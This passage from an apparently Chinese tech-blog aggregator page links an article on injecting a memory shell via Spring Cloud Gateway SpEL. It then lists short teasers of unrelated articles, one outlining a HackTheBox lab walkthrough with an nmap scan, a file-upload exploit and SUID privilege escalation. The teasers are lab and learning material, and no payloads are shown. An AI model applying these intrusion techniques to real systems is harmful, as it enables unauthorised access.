  • Spring cloud gateway通过SPEL注入内存马-https://gv7.me/articles/2022/the-spring-cloud-gateway-inject-memshell-through-spel-expressions/

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:/a/634819.html

如若内容造成侵权/违法违规/事实不符,请联系我们进行投诉反馈qq邮箱809451989@qq.com,一经查实,立即删除!

相关文章

C++ 计时器

文章目录 一、简介二、实现代码2.1 windows平台2.2 C标准库 三、实现效果 一、简介 有时候总是会用到一些计时的操作&#xff0c;这里也整理了一些代码&#xff0c;包括C标准库以及window自带的时间计算函数。 二、实现代码 2.1 windows平台 StopWatch.h #ifndef STOP_WATCH_H…

JWT的详解

一.什么是JWT JWT&#xff08;JSON Web Token&#xff09;是一种开放标准&#xff08;RFC 7519&#xff09;&#xff0c;用于在网络应用间安全地传递信息。它是一种紧凑的、自包含的方式&#xff0c;用于在用户和服务之间以 JSON 对象的形式安全地传输信息。 JWT 主要由三部分…

计算机系统基础 7 分支程序的实现

简单条件转移指令 根据单个标志位的值&#xff08;CF&#xff0c; SF&#xff0c;OF&#xff0c;PF&#xff0c;ZF&#xff09;来确定是否转移&#xff0c; 如果条件成立&#xff0c;则&#xff08;EIP&#xff09; 位移量 ➡ EIP&#xff0c;否则什么也不做。 注意&#xff0…

c# 将数据库连接字符串写到配置文件中,及获取

考虑到代码的安全性&#xff0c;已经修改起来的方便性&#xff0c;我们常常不会将数据库连接字符串直接放在代码中&#xff0c;而是将这个字符串放到一个App.config配置文件中&#xff0c;赋值给一个变量&#xff0c;然后再在代码中引用这个变量。 具体做法如下: ①展开项目名称…

微星笔记本618爆款推荐清单,好评有礼活动火热进行中

微星笔记本618爆款推荐清单&#xff0c;好评有礼活动火热进行中 又是一年一度的618大促&#xff0c;作为电子数码产品的主场&#xff0c;准备选购笔记本的消费者早已翘首以盼有更实惠的价格~ 不负期待&#xff0c;微星笔记本携多款性价比爆款笔记本、Claw掌上游戏机&#xff0…

Google Find My Device:科技守护,安心无忧

在数字化的时代&#xff0c;我们的生活与各种智能设备紧密相连。而 Google Find My Device 便是一款为我们提供安心保障的实用工具。 一、Find My Decice Netword的定义 谷歌的Find My Device Netword旨在通过利用Android设备的众包网络的力量&#xff0c;帮助用户安全的定位所…

记录一个更新adobe软件导致加载PDF文件异常的问题

最近由于项目需要,没有办法把原有的adobe正版软件进行了卸载,换了个盗版软件,结果导致我的pdf文件加载的时候出现异常。 报错的语句是这个 string str = System.Environment.CurrentDirectory; // string fileName = MyOpenFileDialog(); axAcroPDF1.LoadFile(…

abs(-2147483648) == 2147483648?

从数学意义上&#xff0c;这是对的。但是&#xff0c;就怕但是。 #include int main() {long long v;v abs(-2147483648);printf("%lld\n", v);return 0; } 输出: -2147483648 我们从source code中一一解开. /* Return the absolute value of I. */ int abs (…

uniapp星空效果

uniapp星空效果 背景实现思路代码实现尾巴 背景 之前在网上看到过一个视频&#xff0c;使用纯css实现过一个星空效果。具体出处找不到了&#xff0c;我们按照他那个思路来实现一个类似的效果&#xff0c;还是先上一张图镇楼&#xff1a; 实现思路 首先我们这个效果使用的是…

Php composer 基础教程

一、什么是Composer&#xff1f; Composer 是 PHP 中的依赖管理工具。它允许声明项目所依赖的库&#xff0c;并且它将为您管理&#xff08;安装/更新&#xff09;它们。 二、如何安装&#xff1f; Linux 系统和 MacOS 系统 直接下载最新稳定版&#xff1a; 然后执行下列命令&…

去中心化的 S3,CESS 首创去中心化对象存储 DeOSS

Web3 在各个领域的应用和发展已成为讨论的焦点&#xff0c;尽管行业对 Web3 的定义各不相同&#xff0c;但一个普遍的共识是 Web3 赋予了用户对其数据的所有权和自主权。这一转变在我们的生活和工作与数字化越来越深入地融合之际至关重要&#xff0c;这意味着所有人类活动很快将…

【Linux】Centos7安装JDK

【Linux】Centos7安装JDK 下载 Oracle 官网下载 JDK17 https://www.oracle.com/cn/java/technologies/downloads/#java17 安装 使用rz命令上传 jdk tar 包&#xff0c;上传失败直接用 xftp 上传 在安装图形界面时&#xff0c;有勾选开发工具&#xff0c;会自动安装 JDK 需要先…

D435相机内参标定(无法直接应用在相机上)

打开roscore和相机 输入 rostopic echo /camera/color/camera_info 从而得到相机的内参 cameraInfo包含D、K、R、P四个矩阵。 矩阵D是失真系数&#xff0c;包括(k1, k2, t1, t2, k3) 矩阵K是相机内参&#xff0c;即 矩阵R是一个3✖3的旋转矩阵&#xff0c;仅对双目相机有效&…

每日5题Day9 - LeetCode 41 - 45

每一步向前都是向自己的梦想更近一步&#xff0c;坚持不懈&#xff0c;勇往直前&#xff01; 第一题&#xff1a;41. 缺失的第一个正数 - 力扣&#xff08;LeetCode&#xff09; 今天这道题没有ac&#xff0c;写不动了&#xff0c;下次再通过吧&#xff0c;先给个半成品下次回…

微信小程序画布显示图片绘制矩形选区

wxml <view class"page-body"><!-- 画布 --><view class"page-body-wrapper"><canvas canvas-id"myCanvas" type"2d" id"myCanvas" classmyCanvas bindtouchstart"touchStart" bindtouchmo…

HackTheBox-Machines--Bank

文章目录 0x01 信息收集0x02 文件上传漏洞利用0x03 权限提升方法一&#xff1a;SUID提权方法二&#xff1a;配置不当提权 Bank 测试过程 0x01 信息收集 1.端口扫描 发现 ssh(22)、DNS(53)、HTTP(80) 端口 nmap -sC -sV 10.129.29.200访问 80 端口&#xff0c;页面为Apache2 U…

数据挖掘与机器学习——机器学习概述

一、什么是机器学习 机器学习的英文名称叫Machine Learning&#xff0c;简称ML&#xff0c;该领域主要研究的是如何使计算机能够模拟人类的学习行为从而获得新的知识。 机器学习与数据挖掘的联系&#xff1a;简单来说&#xff0c;机器学习就是让计算机从大量 的数据中学习到相关…

软管的高速非接触外径测量方案!单双轴测径仪多种类型!

一、传统测量方式的局限 在软管外径的测量领域&#xff0c;传统方式往往面临多重挑战&#xff1a; 1、挤压变形&#xff1a;传统的测量方式可能导致软管因挤压而变形&#xff0c;进而影响测量数据的准确性。 2、人为误差&#xff1a;测量结果常因人为因素而有所差异&#xff0c…

Embase生物医学文摘数据库文献全文去哪里查找下载

Embase是生物医学与药理学文摘数据库&#xff0c;是爱思唯尔&#xff08;Elsevier&#xff09;推出的针对生物医学和药理学领域信息所提供的基于网络的数据检索服务。它将1974年以来的生物医学记录与 900 多万条独特的Medline&#xff08;1950 年以来&#xff09;的记录相结合&…

智慧社区管理系统:打造便捷、安全、和谐的新型社区生态

项目背景 在信息化、智能化浪潮席卷全球的今天&#xff0c;人们对于生活品质的需求日益提升&#xff0c;期待居住环境能与科技深度融合&#xff0c;实现高效、舒适、安全的生活体验。在此背景下&#xff0c;智慧社区管理系统应运而生&#xff0c;旨在借助现代信息技术手段&…